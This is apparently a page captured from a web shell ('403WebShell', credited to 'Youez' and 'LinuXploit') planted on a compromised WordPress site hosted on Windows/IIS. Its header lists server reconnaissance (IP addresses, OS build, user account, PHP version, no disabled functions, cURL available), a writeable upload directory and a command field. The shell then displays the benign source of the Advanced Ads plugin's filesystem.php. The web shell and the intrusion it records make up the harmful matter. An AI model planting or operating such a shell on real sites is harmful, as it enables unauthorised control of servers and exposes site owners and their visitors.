Uname:Windows NT WIN-HN0MTSF2AF1 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) AMD64

403WebShell
403Webshell
Server IP : 104.21.20.47  /  Your IP : 104.23.197.165
Web Server : Microsoft-IIS/7.5
System : Windows NT WIN-HN0MTSF2AF1 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) AMD64
User : IWPD_11(bayt-altogg) ( 0)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/bayt-altoggar.com/httpdocs/wp-content/plugins/advanced-ads/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/bayt-altoggar.com/httpdocs/wp-content/plugins/advanced-ads/classes/filesystem.php
<?php // phpcs:ignoreFile

/**
 * @since 1.7.17
 */
class Advanced_Ads_Filesystem {
	/**
	 * Singleton instance of the class
	 *
	 * @var Advanced_Ads_Filesystem
	 */
	protected static $instance;

	/**
	 * Return an instance of Advanced_Ads_Filesystem
	 *
	 * @return  Advanced_Ads_Filesystem
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	private function __construct() {}

	/**
	 * Connect to the filesystem.
	 *
	 * @param array $directories                  A list of directories. If any of these do
	 *                                            not exist, a WP_Error object will be returned.
	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
	 */
	public function fs_connect( $directories = [] ) {
		global $wp_filesystem;
		$directories = ( is_array( $directories ) && count( $directories ) ) ? $directories : [ WP_CONTENT_DIR ];

		// Check the filesystem method.
        $method = get_filesystem_method( [], $directories[0] );

		if ( 'direct' === $method ) {
            // If direct method, initialize WP_Filesystem without credentials check.
            if ( ! WP_Filesystem() ) {
                return false;
            }
        } else {
            // This will output a credentials form in event of failure. We don't want that, so just hide with a buffer.
            ob_start();
            $credentials = request_filesystem_credentials( '', '', false, $directories[0] );
            ob_end_clean();

            if ( false === $credentials ) {
                return false;
            }

            if ( ! WP_Filesystem( $credentials ) ) {
                $error = true;
                if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->get_error_code() ) {
                    $error = $wp_filesystem->errors;
                }
                // Failed to connect, Error and request again.
                ob_start();
                request_filesystem_credentials( '', '', $error, $directories[0] );
                ob_end_clean();
                return false;
            }
        }

		if ( ! is_object( $wp_filesystem) ) {
			return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.', 'advanced-ads' ) );
		}

		if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
			return new WP_Error( 'fs_error', __( 'Filesystem error.', 'advanced-ads' ), $wp_filesystem->errors);
		}

		foreach ( (array) $directories as $dir ) {
			switch ( $dir ) {
				case ABSPATH:
					if ( ! $wp_filesystem->abspath() )
						return new WP_Error( 'fs_no_root_dir', __( 'Unable to locate WordPress root directory.', 'advanced-ads' ) );
					break;
				case WP_CONTENT_DIR:
					if ( ! $wp_filesystem->wp_content_dir() )
						return new WP_Error( 'fs_no_content_dir', __( 'Unable to locate WordPress content directory (wp-content).', 'advanced-ads' ) );
					break;
				default:
					if ( ! $wp_filesystem->find_folder( $dir ) )
						/* translators: %s directory */
						return new WP_Error( 'fs_no_folder', sprintf( __( 'Unable to locate needed folder (%s).', 'advanced-ads' ) , esc_html( basename( $dir ) ) ) );
					break;
			}
		}

		return true;
	}

	/**
	 * Replace the 'direct' absolute path with the Filesystem API path. Useful only when the 'direct' method is not used.
	 * Works only with folders.
	 * Check https://codex.wordpress.org/Filesystem_API for info
	 *
	 * @param    string  existing path
	 * @return   string  normalized path
	 */
	public function normalize_path( $path ) {
		global $wp_filesystem;
		return $wp_filesystem->find_folder( $path );
	}

	/**
	 * Recursive directory creation based on full path.
	 *
	 * @param string $target Full path to attempt to create.
	 * @return bool Whether the path was created. True if path already exists.
	 */
	public function mkdir_p( $target ) {
		global $wp_filesystem;

		if ( $wp_filesystem instanceof WP_Filesystem_Direct ) {
			return wp_mkdir_p( $target );
		}

		$target = rtrim($target, '/');
		if ( empty($target) ) {
			$target = '/';
		}

		if ( $wp_filesystem->exists( $target ) ) {
			return $wp_filesystem->is_dir( $target );
		}

		$target_parent = dirname( $target );
		while ( '.' != $target_parent && ! $wp_filesystem->is_dir( $target_parent ) ) {
			$target_parent = dirname( $target_parent );
		}

		$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
		for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
			$dir = $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) );
			if ( $wp_filesystem->exists( $dir ) ) { continue; }

			if ( ! $wp_filesystem->mkdir( $dir ) ) {
				return false;
			}
		}
		return true;
	}

	/**
	 * Print the filesystem credentials modal when needed.
	 */
	public function print_request_filesystem_credentials_modal() {
		$filesystem_method = get_filesystem_method();
		ob_start();
		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
		ob_end_clean();
		$request_filesystem_credentials = ( $filesystem_method != 'direct' && ! $filesystem_credentials_are_stored );
		if ( ! $request_filesystem_credentials ) {
			return;
		}
		?>
		<div id="advanced-ads-rfc-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog">
			<div class="notification-dialog-background"></div>
			<div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0">
				<div class="request-filesystem-credentials-dialog-content">
					<?php request_filesystem_credentials( site_url() ); ?>
				</div>
			</div>
		</div>
		<?php
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit